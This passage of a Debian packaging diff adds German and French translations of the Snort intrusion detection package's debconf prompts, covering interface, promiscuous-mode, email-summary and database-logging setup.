+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimale Ereignisanzahl ab der Alarme gemeldet werden:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Bitte geben Sie die minimale Anzahl eines Alarms ein, ab der dieser Alarm in "
+"die tägliche Statistik aufgenommen wird."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Neustart von Snort erforderlich"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Da Snort manuell gestartet wurde, müssen Sie den Befehl '/etc/init.d/snort' "
+"aufrufen, damit die Änderungen wirksam werden."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Fehler in den Einstellungen"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Die aktuellen Einstellungen von Snort sind ungültig und verhindern einen "
+"normalen Start von Snort. Bitte kontrollieren und berichtigen Sie diese."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Benutzen Sie den Befehl '/usr/sbin/snort -T -c <Datei>', um Fehler in einer "
+"Konfigurationsdatei von Snort zu finden."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Veraltete Konfigurationsdatei"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Dieses System nutzt eine veraltete Konfigurationsdatei (/etc/snort/snort."
+"common.parameters), die automatisch in das neue Format (nach /etc/default/"
+"snort) umgewandelt wurde."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Bitte überprüfen Sie die neue Konfigurationsdatei und löschen Sie die "
+"veraltete. Bis dahin wird das Startskript die neuen Einstellungen nicht "
+"verwenden und Sie können die Vorteile der neuen Versionen nicht nutzen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Eine Protokoll-Datenbank für Snort-mysql einrichten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Es wurde keine Datenbank eingerichtet, in die Snort protokolliert. Bevor Sie "
+"weiter machen, sollten Sie sicher stellen, dass Sie folgendes haben:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - Rechnernamen des Servers (er muss TCP-Verbindungen von diesem\n"
+"   Rechner zulassen);\n"
+" - eine Datenbank auf diesem Server;\n"
+" - Benutzernamen und Passwort für den Zugang zur Datenbank."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Wenn nicht alle Voraussetzungen erfüllt sind, lehnen Sie hier ab und lassen "
+"Sie die Protokolle in eine normale Datei schreiben."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Das Protokollieren in eine Datenbank kann später mit dem Befehl 'dpkg-"
+"reconfigure -plow snort-mysql'eingerichtet werden."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Rechnername des Datenbank-Servers:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Bitte geben Sie den Rechnernamen eines Datenbank-Servers ein, der eingehende "
+"Verbindungen von diesem Rechner annimmt."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Datenbankname:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Bitte geben Sie den Namen einer vorhandenen Datenbank ein, auf die der "
+"Datenbankbenutzer Schreibrechte hat."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Benutzername für den Datenbankzugriff:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Bitte geben Sie einen Benutzernamen des Datenbank-Servers ein, der "
+"Schreibzugriff auf die Datenbank hat."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Passwort für die Datenbankverbindung:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Bitte das Passwort für die Verbindung zu Snorts Alarm-Datenbank eingeben."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Eingerichtete Datenbank für Snort nötig"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort benötigt eine eingerichtete Datenbank, bevor Sie es benutzen können. "
+"Um diese aufzubauen, müssen Sie folgende Befehle NACH dieser Installation "
+"ausführen:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <Benutzer> -h <Rechner> -p <DB-Name>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Geben Sie die korrekten Werte für Benutzer, Rechner und Datenbankname ein. "
+"MySQL wird Sie nach dem Passwort fragen."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Nachdem Sie die Datenbankstruktur angelegt haben, müssen Sie Snort noch "
+"starten."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Eine Protokoll-Datenbank für Snort-pgsql einrichten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Das Protokollieren in eine Datenbank kann später mit dem Befehl 'dpkg-"
+"reconfigure -plow snort-pgsql'eingerichtet werden."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <Benutzer> -h <Rechner> -W <DB-Name>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Geben Sie die korrekten Werte für Benutzer, Rechner und Datenbankname ein. "
+"PostgreSQL wird Sie nach dem Passwort fragen."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Veraltete Konfigurationsdatei"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Die Snort-Konfigurationsdatei (/etc/snort/snort.conf) benutzt veraltete "
+"Optionen, die ab dieser Version von Snort nicht mehr gültig sind. Snort kann "
+"solange nicht starten, bis Sie eine richtige Konfigurationsdatei erstellen. "
+"Sie können entweder Ihre Konfigurationsdatei durch die des Pakets ersetzen "
+"oder entfernen die veralteten Optionen selbst."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Folgende veraltete Optionen wurden in der Konfigurationsdatei gefunden: "
+"${DEP_CONFIG}."
--- snort-2.7.0.orig/debian/po/fr.po
+++ snort-2.7.0/debian/po/fr.po
@@ -0,0 +1,788 @@
+# Translation of snort debconf templates to French
+# Copyright (C) 2007 Christian Perrier <bubulle@debian.org>
+# This file is distributed under the same license as the snort package.
+#
+# Christian Perrier <bubulle@debian.org>, 2004, 2006, 2007, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 14:44+0200\n"
+"Last-Translator: Christian Perrier <bubulle@debian.org>\n"
+"Language-Team: French <debian-l10n-french@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "Au démarrage"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "À la connexion"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "Manuellement"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Méthode de lancement de Snort :"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort peut être lancé au démarrage du système, lors de la connexion au "
+"réseau avec pppd ou à la demande via la commande « /usr/sbin/snort »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interface(s) où Snort sera à l'écoute :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"La valeur habtuelle est « eth0 » mais elle peut varier selon l'environnement "
+"réseau : pour une connexion ponctuelle (« dialup »), « ppp0 » est probablement "
+"plus adapté. Il est suggéré d'utiliser l'affichage de la commande « /sbin/"
+"ifconfig »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"L'interface est celle qu'utilise la route par défaut. Vous pouvez obtenir "
+"cette information avec la commande « /sbin/route -n » (rechercher « 0.0.0.0 »)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Il est également fréquent d'utiliser Snort sur une interface sans adresse "
+"IP, en mode « promiscuous ». Dans ce cas, choisissez l'interface connectée au "
+"réseau que vous voulez analyser et activez ce mode plus tard. Assurez-vous "
+"que le trafic réseau est bien envoyé à cette interface (soit connectée à un "
+"port de miroir ou de répartition, « mirroring/spanning port » sur un "
+"commutateur réseau, soit connectée à un répartiteur ou à un « tap »)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Il est possible de configurer plusieurs interfaces en les mentionnant "
+"toutes, séparées par des espaces. Chacune d'elles pourra avoir une "
+"configuration différente."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Plage d'adresses du réseau local :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Veuillez utiliser le format CIDR, par exemple 192.168.1.0/24 pour un bloc de "
+"256 adresses IP ou 192.168.1.42/32 pour une seule adresse. Il est possible "
+"d'indiquer plusieurs adresses sur une seule ligne en les séparant par des "
+"virgules (sans espaces)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Veuillez noter que si Snort est configuré pour utiliser plusieurs "
+"interfaces, la valeur définie ici sera la valeur HOME_NET pour chacune "
+"d'elles."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Faut-il désactiver le mode « promiscuous » sur l'interface ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si le mode « promiscuous » est désactivé, Snort ne verra que les paquets "
+"adressés à sa propre interface. S'il est activé, il vérifiera chaque paquet "
+"transitant sur le segment Ethernet même s'il s'agit d'échanges entres deux "
+"autres ordinateurs."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface non valable"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort tente d'utiliser une interface inexistante ou inactive. Soit il "
+"utilise par erreur la valeur par défaut (eth0), soit l'adresse indiquée "
+"n'est pas valable."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Faut-il modifier l'ordre de vérification de Snort en « Pass|Alert|Log » ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"L'ordre de vérification par défaut de Snort est « Alert|Pass|Log » (alerter, "
+"faire passer puis journaliser). Si vous choisissez cette option, l'ordre "
+"sera modifié pour utiliser « Pass|Alert|Log » (faire passer, alerter puis "
+"journaliser), ce qui peut simplifier l'utilisation de Snort avec certains "
+"outils de filtrage de paquets."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Faut-il envoyer des rapports quotidiens par courriel ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Une tâche quotidienne de cron créera un résumé de l'information des journaux "
+"de Snort et l'enverra à une adresse électronique prédéfinie."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Veuillez choisir si vous souhaitez activer cette fonctionnalité."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinataire des courriers électroniques quotidiens de statistiques :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Veuillez indiquer l'adresse électronique qui recevra les résumés quotidiens "
+"des journaux de Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Options personnelles supplémentaires :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Veuillez indiquer les options supplémentaires qu'utilisera Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Nombre d'occurrences minimales avant l'envoi d'alertes :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Une alerte doit apparaître un nombre de fois supérieur à celui indiqué pour "
+"être comptabilisée dans les statistiques quotidiennes."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Redémarrage de Snort indispensable"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Comme Snort est lancé manuellement, il est nécessaire d'exécuter la commande "
+"« /etc/init.d/snort » pour que les modifications soient prises en compte."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erreur de configuration"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La configuration actuelle de Snort n'est pas valable et l'empêchera de "
+"démarrer. Veuillez la contrôler et la corriger."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Le diagnostic des erreurs du fichier de configuration de Snort peut se faire "
+"avec la commande « /usr/sbin/snort -T -c <fichier> »."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fichier de configuration obsolète"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Le système utilise un fichier de configuration obsolète (/etc/snort/snort."
+"common.parameters) qui a été automatiquement converti vers le nouveau format "
+"(dans /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Veuillez vérifier le nouveau fichier de configuration et supprimer l'ancien. "
+"Tant que cela n'aura pas été fait, le script de démarrage n'utilisera pas la "
+"nouvelle configuration et vous ne bénéficierez pas des améliorations des "
+"versions plus récentes."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Faut-il configurer une base de données pour la journalisation de snort-"
+"mysql ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Aucune base de données n'a été configurée pour la journalisation de Snort. "
+"Avant de continuer, veuillez vérifier que vous connaissez :"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - le nom d'hôte du serveur (qui doit accepter les connexions TCP    "
+"entrantes depuis cette machine) ;\n"
+" - une base de données sur ce serveur ;\n"
+" - un identifiant et son mot de passe pour accéder à cette base de données."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Si certains de ces prérequis ne sont pas satisfaits, ne choisissez pas cette "
+"option et utilisez la journalisation dans des fichiers."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"La journalisation dans une base de données pourra être choisie plus tard "
+"avec la commande « dpkg-reconfigure -plow snort-mysql »."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nom d'hôte du serveur de bases de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Veuillez indiquer le nom d'hôte d'un serveur de bases de données qui accepte "
+"les connexions entrantes depuis cette machine."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nom de la base de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Veuillez indiquer le nom d'une base de données existante où l'identifiant "
+"choisi possède des droits d'écriture."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Identifiant de connexion au serveur de bases de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Veuillez indiquer un identifiant du serveur de bases de données, qui possède "
+"les droits d'écriture sur la base de données."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Mot de passe de connexion au serveur de bases de données :"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Veuillez indiquer le mot de passe à utiliser pour la connexion à la base de "
+"données des alertes de Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Base de données configurée obligatoire pour Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort a besoin d'une base de données configurée pour pouvoir démarrer. "
+"Veuillez créer la structure de base de données APRÈS l'installation du "
+"paquet :"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <identifiant> -h <hôte> -p <base>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Veuillez indiquer les valeurs appropriées pour l'identifiant, le nom du "
+"serveur et de la base de données. MySQL demandera le mot de passe."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Après avoir créé la structure de base de données, vous devrez démarrer Snort "
+"manuellement."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Faut-il configurer une base de données pour la journalisation de snort-"
+"pgsql ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"La journalisation dans une base de données pourra être choisie plus tard "
+"avec la commande « dpkg-reconfigure -plow snort-pgsql »."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <identifiant> -h <hôte> -W <base>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Veuillez indiquer les valeurs appropriées pour l'identifiant, le nom du "
+"serveur et de la base de données. PostgreSQL demandera le mot de passe."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fichier de configuration obsolète"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
